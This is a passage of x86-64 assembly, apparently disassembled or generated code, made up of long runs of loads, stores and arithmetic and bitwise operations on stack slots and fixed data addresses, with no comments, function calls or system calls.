mov rcx, qword [rsp + 0x9bd0]
mov qword [rsp + 0xabc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xabc0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x8f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x76a8]
movzx eax, word [rax]
mov word [rsp + 0x13b4], ax
movzx eax, byte [rsp + 0x174]
movzx ecx, byte [rsp + 0x21b]
shl eax, cl
mov byte [0x1401790a3], al
movsx eax, word [rsp + 0xd58]
mov rcx, qword [rsp + 0xa8a0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfa4], ax
mov rax, qword [rsp + 0xa4f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9fa0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6b], al
mov rax, qword [rsp + 0xa7f8]
movzx eax, byte [rax]
mov byte [rsp + 0x225], al
mov rax, qword [rsp + 0xa058]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9308]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8210]
mov byte [rcx], al
lea rax, [rsp + 0x7f88]
mov qword [rsp + 0xabc8], rax
mov rax, qword [rsp + 0x9bf8]
mov ecx, dword [section..data]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x73d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6fb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7050]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x72a0], rax
lea rax, [rsp + 0x3fb0]
mov qword [rsp + 0xabd0], rax
lea rax, [rsp + 0xdcc]
mov qword [0x14017ad28], rax
mov rax, qword [rsp + 0xa7f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xab80]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9980]
mov byte [rcx], al
lea rax, [rsp + 0x1160]
mov qword [rsp + 0xabd8], rax
mov rax, qword [rsp + 0x8600]
movzx eax, byte [rax]
movzx ecx, byte [0x14017a4d6]
add eax, ecx
mov rcx, qword [rsp + 0x9980]
mov byte [rcx], al
movsx eax, word [rsp + 0x1184]
movsx ecx, word [rsp + 0x11e4]
add eax, ecx
mov word [rsp + 0xcf8], ax
mov eax, dword [rsp + 0x3e44]
mov dword [rsp + 0x437c], eax
mov rax, qword [rsp + 0x71e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7178]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7038], rax
mov rax, qword [rsp + 0x78b0]
mov rax, qword [rax]
mov qword [rsp + 0xabe0], rax
mov rax, qword [rsp + 0xa7d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9628]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1ca]
movsx ecx, byte [0x14017906f]
sub eax, ecx
mov byte [0x1401790d2], al
mov rax, qword [rsp + 0xa830]
movzx eax, byte [rax]
mov byte [rsp + 0x226], al
movsx eax, word [rsp + 0xcf4]
movsx ecx, word [rsp + 0xf4c]
shl eax, cl
mov rcx, qword [rsp + 0x9540]
mov word [rcx], ax
mov rax, qword [0x14017ad00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ca]
sar eax, cl
mov rcx, qword [rsp + 0x70c0]
mov byte [rcx], al
lea rax, [rsp + 0xe2c]
mov qword [rsp + 0xabe8], rax
mov eax, dword [rsp + 0x3b34]
mov ecx, dword [rsp + 0x4240]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x420c], eax
mov rax, qword [rsp + 0xa1c0]
mov qword [rsp + 0xabf0], rax
mov eax, dword [rsp + 0x3ee4]
mov ecx, dword [rsp + 0x3cac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ff4], eax
mov rax, qword [rsp + 0x6cb0]
mov rcx, qword [rsp + 0x98c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9e90], rax
movzx eax, word [rsp + 0xf44]
movzx ecx, word [rsp + 0xee4]
sub eax, ecx
mov word [0x14017905c], ax
mov rax, qword [rsp + 0x8d30]
movzx eax, word [rax]
mov word [rsp + 0x13b8], ax
movsx eax, byte [rsp + 0x184]
movsx ecx, byte [rsp + 0x18b]
sub eax, ecx
mov byte [rsp + 0x18f], al
lea rax, [0x1401790a3]
mov qword [rsp + 0xabf8], rax
mov rax, qword [rsp + 0x8dc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x83b0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1008], ax
mov rax, qword [rsp + 0x84a8]
mov rcx, qword [rsp + 0x6c58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x99e8]
mov dword [rcx], eax
lea rax, [rsp + 0x3cfc]
mov qword [rsp + 0xac00], rax
mov rax, qword [rsp + 0xa4d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8450]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9528], rax
mov rax, qword [rsp + 0xa900]
mov rax, qword [rax]
mov qword [rsp + 0xac08], rax
movzx eax, word [0x140179048]
mov word [0x14017ad30], ax
mov rax, qword [rsp + 0x77f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ca8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcf], al
mov rax, qword [rsp + 0x74d8]
movzx eax, byte [rax]
mov byte [rsp + 0x227], al
movsx eax, word [rsp + 0xd4c]
movsx ecx, word [0x14017910c]
sub eax, ecx
mov rcx, qword [rsp + 0x8898]
mov word [rcx], ax
movsx eax, word [rsp + 0xd44]
movsx ecx, word [rsp + 0x11f0]
add eax, ecx
mov word [rsp + 0xc44], ax
lea rax, [rsp + 0x3fb8]
mov qword [rsp + 0xac10], rax
mov rax, qword [rsp + 0x9098]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9fb0]
shr rax, cl
mov qword [rsp + 0x9590], rax
mov rax, qword [rsp + 0x7210]
mov rax, qword [rax]
mov qword [rsp + 0xac18], rax
mov rax, qword [rsp + 0x6b00]
mov ecx, dword [rsp + 0x3c80]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4044], eax
movzx eax, word [rsp + 0xc30]
mov rcx, qword [rsp + 0xa488]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x140179174], ax
movzx eax, byte [rsp + 0x104]
mov rcx, qword [rsp + 0x8560]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1ea], al
lea rax, [rsp + 0xf68]
mov qword [rsp + 0xac20], rax
mov rax, qword [rsp + 0x6e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x71f0]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x80a8]
mov word [rcx], ax
lea rax, [rsp + 0x1da]
mov qword [rsp + 0xac28], rax
mov rax, qword [rsp + 0x8c68]
mov ecx, dword [rsp + 0x4074]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3f38], eax
mov rax, qword [rsp + 0xa9c8]
mov rcx, qword [rsp + 0x9e00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c24], eax
lea rax, [rsp + 0x9430]
mov qword [rsp + 0xac30], rax
mov rax, qword [rsp + 0x6ea8]
mov rcx, qword [rsp + 0xa988]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7df0]
mov qword [rcx], rax
lea rax, [0x14017a63a]
mov qword [0x14017ad38], rax
movzx eax, word [rsp + 0xdac]
mov word [rsp + 0x13bc], ax
movzx eax, byte [rsp + 0x227]
movzx ecx, byte [rsp + 0x212]
sub eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov rax, qword [rsp + 0x7650]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c2]
sub eax, ecx
mov byte [rsp + 0x1c8], al
lea rax, [rsp + 0x1274]
mov qword [rsp + 0xac38], rax
mov rax, qword [rsp + 0x7ad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ed8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d78], eax
lea rax, [0x14017a4d0]
mov qword [rsp + 0xac40], rax
mov rax, qword [rsp + 0xa8e8]
mov rcx, qword [rsp + 0xa2d0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7d58], rax
mov rax, qword [rsp + 0x82c0]
mov rax, qword [rax]
mov qword [rsp + 0xac48], rax
mov rax, qword [rsp + 0x9360]
movzx eax, byte [rax]
movzx ecx, byte [0x14017a4e3]
add eax, ecx
mov rcx, qword [0x14017ac78]
mov byte [rcx], al
movsx eax, word [rsp + 0x11bc]
mov rcx, qword [rsp + 0xa788]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1118], ax
movsx eax, byte [rsp + 0x5d]
movsx ecx, byte [rsp + 0xb7]
add eax, ecx
mov rcx, qword [rsp + 0x8910]
mov byte [rcx], al
movzx eax, word [rsp + 0x115c]
mov word [rsp + 0x13c0], ax
mov rax, qword [rsp + 0x8610]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b4]
shl eax, cl
mov byte [rsp + 0xd7], al
lea rax, [rsp + 0xa018]
mov qword [rsp + 0xac50], rax
mov rax, qword [rsp + 0x8eb0]
mov rcx, qword [rsp + 0x92a0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x80e8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c28]
mov ecx, dword [rsp + 0x3e50]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x420c], eax
mov eax, dword [rsp + 0x3eb4]
mov dword [rsp + 0x4380], eax
mov rax, qword [0x14017a7f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x82d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x12ec], ax
mov rax, qword [rsp + 0xaa78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8898]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14017ac68]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ae]
mov byte [rsp + 0x228], al
movzx eax, byte [rsp + 0x1d4]
movzx ecx, byte [rsp + 0x45]
sub eax, ecx
mov rcx, qword [rsp + 0x7010]
mov byte [rcx], al
movzx eax, word [rsp + 0xc58]
movzx ecx, word [rsp + 0xc0c]
sub eax, ecx
mov word [rsp + 0x1114], ax
mov rax, qword [rsp + 0xa400]
mov eax, dword [rax]
mov dword [rsp + 0x4384], eax
mov rax, qword [0x14017a4d8]
mov rcx, qword [rsp + 0x9ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8040]
mov dword [rcx], eax
lea rax, [rsp + 0x9e18]
mov qword [rsp + 0xac58], rax
mov rax, qword [rsp + 0xa628]
mov rcx, qword [rsp + 0x9408]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xab98], rax
mov rax, qword [rsp + 0x8468]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9ab0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1a2], al
lea rax, [rsp + 0xc34]
mov qword [0x14017ad40], rax
movzx eax, word [rsp + 0x1170]
mov word [rsp + 0x13c4], ax
movsx eax, byte [rsp + 0x149]
mov rcx, qword [rsp + 0x95f0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9b18]
mov byte [rcx], al
mov rax, qword [rsp + 0x6c38]
movzx eax, word [rax]
mov word [rsp + 0x13c8], ax
mov rax, qword [rsp + 0xab90]
mov rcx, qword [rsp + 0x8af0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7ce0]
mov qword [rcx], rax
mov eax, dword [0x14017a4d0]
mov dword [rsp + 0x4388], eax
mov rax, qword [rsp + 0x7c70]
mov ecx, dword [rsp + 0x42c8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa760]
mov dword [rcx], eax
mov rax, qword [rsp + 0xab68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8a60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x86a8]
mov qword [rcx], rax
lea rax, [rsp + 0x226]
mov qword [rsp + 0xac60], rax
mov rax, qword [rsp + 0x9320]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ea0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401790d3], al
mov rax, qword [rsp + 0x9898]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xce0]
xor eax, ecx
mov word [rsp + 0xfc8], ax
lea rax, [rsp + 0xf2c]
mov qword [rsp + 0xac68], rax
mov rax, qword [rsp + 0x7d80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15a]
shl eax, cl
mov byte [rsp + 0x47], al
mov rax, qword [rsp + 0x8478]
mov ecx, dword [rsp + 0x3c90]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4268], eax
mov rax, qword [0x140179010]
mov qword [rsp + 0xac70], rax
mov rax, qword [rsp + 0x8b90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7238]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa508]
mov qword [rcx], rax
mov eax, dword [rsp + 0x41cc]
mov dword [rsp + 0x438c], eax
mov rax, qword [0x14017a5c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9188]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7060]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1b7]
mov rcx, qword [rsp + 0x7d48]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017aa38]
mov byte [rcx], al
mov rax, qword [rsp + 0x85a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c9]
add eax, ecx
mov rcx, qword [rsp + 0xa230]
mov byte [rcx], al
lea rax, [rsp + 0xe5c]
mov qword [rsp + 0xac78], rax
movsx eax, word [rsp + 0xcd4]
movsx ecx, word [rsp + 0x1010]
sub eax, ecx
mov word [rsp + 0xfec], ax
lea rax, [rsp + 0xc38]
mov qword [rsp + 0xac80], rax
mov rax, qword [rsp + 0x85d0]
mov rcx, qword [rsp + 0x6ff0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaa30], rax
lea rax, [rsp + 0x4300]
mov qword [rsp + 0xac88], rax
mov rax, qword [rsp + 0x7508]
mov rcx, qword [rsp + 0x8118]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9a08]
mov qword [rcx], rax
mov rax, qword [rsp + 0x99e8]
mov rcx, qword [rsp + 0x8e60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x40c8], eax
lea rax, [rsp + 0x227]
mov qword [0x14017ad48], rax
movzx eax, byte [rsp + 0x1e7]
mov byte [rsp + 0x229], al
mov rax, qword [rsp + 0x7450]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa4f8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x94c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa3f0]
movzx eax, byte [rax]
mov byte [rsp + 0x22a], al
movsx eax, byte [rsp + 0x96]
movsx ecx, byte [rsp + 0x195]
sar eax, cl
mov rcx, qword [rsp + 0xaaf0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9ba8]
mov ecx, dword [rsp + 0x422c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa650]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7db0]
mov qword [rsp + 0xac90], rax
mov rax, qword [rsp + 0x9058]
movzx ecx, al
mov rax, qword [rsp + 0x7fe0]
shl rax, cl
mov qword [rsp + 0xa3d8], rax
lea rax, [rsp + 0x3d70]
mov qword [rsp + 0xac98], rax
movsx eax, word [rsp + 0xcc8]
mov rcx, qword [rsp + 0x9088]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x14017a59c], ax
mov rax, qword [rsp + 0x7bf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8a80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10dc], ax
movzx eax, word [rsp + 0xe10]
movzx ecx, word [rsp + 0x12bc]
and eax, ecx
mov word [rsp + 0xf6c], ax
movzx eax, byte [rsp + 0x12e]
mov byte [rsp + 0x22b], al
mov rax, qword [rsp + 0x7640]
movzx eax, byte [rax]
mov rcx, qword [0x14017ab20]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x193], al
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov dword [rsp + 0x4390], eax
mov rax, qword [rsp + 0x9070]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x87b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7f10]
mov qword [rcx], rax
mov eax, dword [rsp + 0x40cc]
mov ecx, dword [rsp + 0x40f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4104], eax
lea rax, [rsp + 0x7428]
mov qword [rsp + 0xaca0], rax
lea rax, [rsp + 0xe28]
mov qword [0x14017ad50], rax
movsx eax, word [rsp + 0xe00]
mov rcx, qword [rsp + 0x8b18]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1338], ax
movzx eax, byte [0x14017906f]
mov byte [rsp + 0x22c], al
movzx eax, byte [rsp + 0x1c0]
movzx ecx, byte [rsp + 0xa4]
sub eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
mov rax, qword [rsp + 0x8820]
movzx eax, word [rax]
mov word [rsp + 0x13cc], ax
mov rax, qword [rsp + 0x8868]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8708]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6c10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x96e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9bd8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8e88]
mov qword [rcx], rax
lea rax, [rsp + 0x42b0]
mov qword [rsp + 0xaca8], rax
mov eax, dword [rsp + 0x4020]
mov ecx, dword [rsp + 0x3c3c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9990]
mov dword [rcx], eax
mov rax, qword [rsp + 0x77a8]
movzx eax, word [rax]
imul eax, eax, 0x9a2
mov rcx, qword [0x14017a6f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fa0]
movzx eax, byte [rax]
mov byte [rsp + 0x22d], al
movsx eax, word [0x14017a718]
movsx ecx, word [rsp + 0xc90]
xor eax, ecx
mov word [rsp + 0xfc8], ax
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d4]
sar eax, cl
mov rcx, qword [rsp + 0x86b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7408]
movzx eax, word [rax]
mov word [rsp + 0x13d0], ax
mov rax, qword [rsp + 0x7bf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ca8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4144], eax
mov rax, qword [rsp + 0xa748]
mov qword [rsp + 0xacb0], rax
mov eax, dword [rsp + 0x41f0]
movzx ecx, al
mov eax, dword [rsp + 0x3f28]
shl eax, cl
mov rcx, qword [rsp + 0x7180]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9a68]
mov rcx, qword [rsp + 0x88d0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9b38], rax
mov rax, qword [rsp + 0x81c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x98]
add eax, ecx
mov byte [0x14017a69d], al
mov rax, qword [rsp + 0x9868]
movzx eax, word [rax]
mov word [rsp + 0x13d4], ax
movsx eax, byte [rsp + 0x128]
mov rcx, qword [rsp + 0x79e8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x79], al
lea rax, [rsp + 0x1058]
mov qword [rsp + 0xacb8], rax
mov rax, qword [rsp + 0x79a8]
movzx eax, word [rax]
mov rcx, qword [0x14017ac20]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x119c], ax
lea rax, [rsp + 0x3fd4]
mov qword [rsp + 0xacc0], rax
mov rax, qword [rsp + 0x6eb0]
mov ecx, dword [rsp + 0x3ec0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3e78], eax
mov rax, qword [rsp + 0x75e8]
mov rcx, qword [rsp + 0x9a08]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8878]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa570]
mov rax, qword [rax]
mov qword [rsp + 0xacc8], rax
mov rax, qword [rsp + 0x8b88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaa48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401790d6], al
movsx eax, word [rsp + 0xfb4]
mov rcx, qword [rsp + 0x8ad0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11bc], ax
lea rax, [rsp + 0x1198]
mov qword [rsp + 0xacd0], rax
movzx eax, byte [rsp + 0x47]
mov rcx, qword [rsp + 0xa370]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x17f], al
movzx eax, byte [rsp + 0xc3]
mov rcx, qword [0x14017ac78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc1], al
lea rax, [rsp + 0xac90]
mov qword [rsp + 0xacd8], rax
mov rax, qword [rsp + 0x7288]
mov rcx, qword [rsp + 0x8e20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4330], eax
mov rax, qword [rsp + 0x71c8]
mov qword [rsp + 0xace0], rax
mov rax, qword [rsp + 0x9a80]
mov rcx, qword [rsp + 0x8348]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8ef0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x5a]
movsx ecx, byte [rsp + 0x13c]
sar eax, cl
mov byte [0x140179027], al
mov rax, qword [rsp + 0x7cf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9b88]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7dc8]
mov byte [rcx], al
lea rax, [rsp + 0x1284]
mov qword [rsp + 0xace8], rax
movsx eax, byte [rsp + 0x19f]
mov rcx, qword [rsp + 0x8610]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa658]
mov byte [rcx], al
movzx eax, word [0x1401790d8]
mov word [rsp + 0x13d8], ax
mov eax, dword [rsp + 0x3d4c]
mov ecx, dword [rsp + 0x3e08]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4034], eax
mov rax, qword [rsp + 0x7510]
mov rcx, qword [rsp + 0xa1d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9190]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa728]
mov eax, dword [rax]
mov dword [rsp + 0x4394], eax
mov rax, qword [rsp + 0x74f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7c80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa748], rax
lea rax, [rsp + 0x13c0]
mov qword [rsp + 0xacf0], rax
mov rax, qword [rsp + 0xa788]
movzx eax, word [rax]
mov word [0x14017ad58], ax
movsx eax, byte [rsp + 0x1f9]
mov rcx, qword [rsp + 0x98a0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8070]
mov byte [rcx], al
mov rax, qword [rsp + 0x78e8]
movzx eax, byte [rax]
mov byte [rsp + 0x22e], al
mov rax, qword [rsp + 0x76d0]
movzx eax, word [rax]
mov rcx, qword [0x14017a918]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7728]
mov word [rcx], ax
mov rax, qword [rsp + 0x79a0]
mov rcx, qword [rsp + 0x85e0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa660]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa6b0]
mov rax, qword [rax]
mov qword [rsp + 0xacf8], rax
mov eax, dword [rsp + 0x3be8]
mov ecx, dword [rsp + 0x3ff8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9b48]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41b0]
mov dword [rsp + 0x4398], eax
movsx eax, byte [rsp + 0x53]
movsx ecx, byte [rsp + 0x22d]
add eax, ecx
mov rcx, qword [rsp + 0x91b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa4f8]
movsx eax, word [rax]
mov rcx, qword [0x14017ab80]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017aa18]
mov word [rcx], ax
mov rax, qword [rsp + 0x6e50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d68]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x99c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa328]
movzx eax, byte [rax]
mov byte [rsp + 0x22f], al
mov rax, qword [rsp + 0x7ea8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x77a8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x108c], ax
mov rax, qword [rsp + 0x7078]
mov qword [rsp + 0xad00], rax
mov rax, qword [rsp + 0x7be0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bf4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x84a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa098]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3fd0]
shl eax, cl
mov rcx, qword [rsp + 0x9288]
mov dword [rcx], eax
lea rax, [rsp + 0x9cd0]
mov qword [rsp + 0xad08], rax
mov rax, qword [rsp + 0x9d60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6e30]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6ec8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6d18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x122]
sar eax, cl
mov byte [0x1401790d7], al
mov rax, qword [rsp + 0xa100]
movzx eax, byte [rax]
mov byte [rsp + 0x230], al
mov rax, qword [rsp + 0xa278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7608]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x13c8], ax
movsx eax, byte [rsp + 0xad]
mov rcx, qword [rsp + 0x9630]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x8f28]
mov rax, qword [rax]
mov qword [rsp + 0xad10], rax
mov rax, qword [rsp + 0xa5c8]
mov ecx, dword [0x14017a4d0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3be0], eax
lea rax, [rsp + 0x3da0]
mov qword [rsp + 0xad18], rax
mov rax, qword [rsp + 0x7020]
mov rcx, qword [rsp + 0x7ab8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x71c8], rax
movzx eax, byte [rsp + 0x1cd]
mov byte [rsp + 0x231], al
movzx eax, byte [0x14017909f]
movzx ecx, byte [rsp + 0x1e4]
sub eax, ecx
mov rcx, qword [0x14017a7b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa0e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd3]
and eax, ecx
mov rcx, qword [rsp + 0x99a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa218]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa3a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc48], ax
movzx eax, word [rsp + 0xdec]
mov word [rsp + 0x13dc], ax
mov rax, qword [rsp + 0x7dc8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa4]
add eax, ecx
mov byte [rsp + 0x194], al
mov rax, qword [rsp + 0xa688]
mov eax, dword [rax]
mov dword [rsp + 0x439c], eax
mov rax, qword [rsp + 0x8c88]
mov rax, qword [rax]
mov rcx, qword [0x140179010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8908], rax
mov eax, dword [rsp + 0x3bf8]
mov ecx, dword [rsp + 0x409c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x426c], eax
mov rax, qword [rsp + 0x9b38]
mov qword [rsp + 0xad20], rax
movsx eax, byte [rsp + 0x149]
mov rcx, qword [rsp + 0x9558]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401790da], al
movsx eax, word [rsp + 0x12c4]
mov rcx, qword [rsp + 0x7158]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd38], ax
movzx eax, word [0x1401790f0]
mov word [rsp + 0x13e0], ax
movzx eax, word [rsp + 0xfa8]
mov rcx, qword [rsp + 0x9e28]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8bb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8a28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1be]
shl eax, cl
mov rcx, qword [rsp + 0xa148]
mov byte [rcx], al
lea rax, [rsp + 0x9fb0]
mov qword [rsp + 0xad28], rax
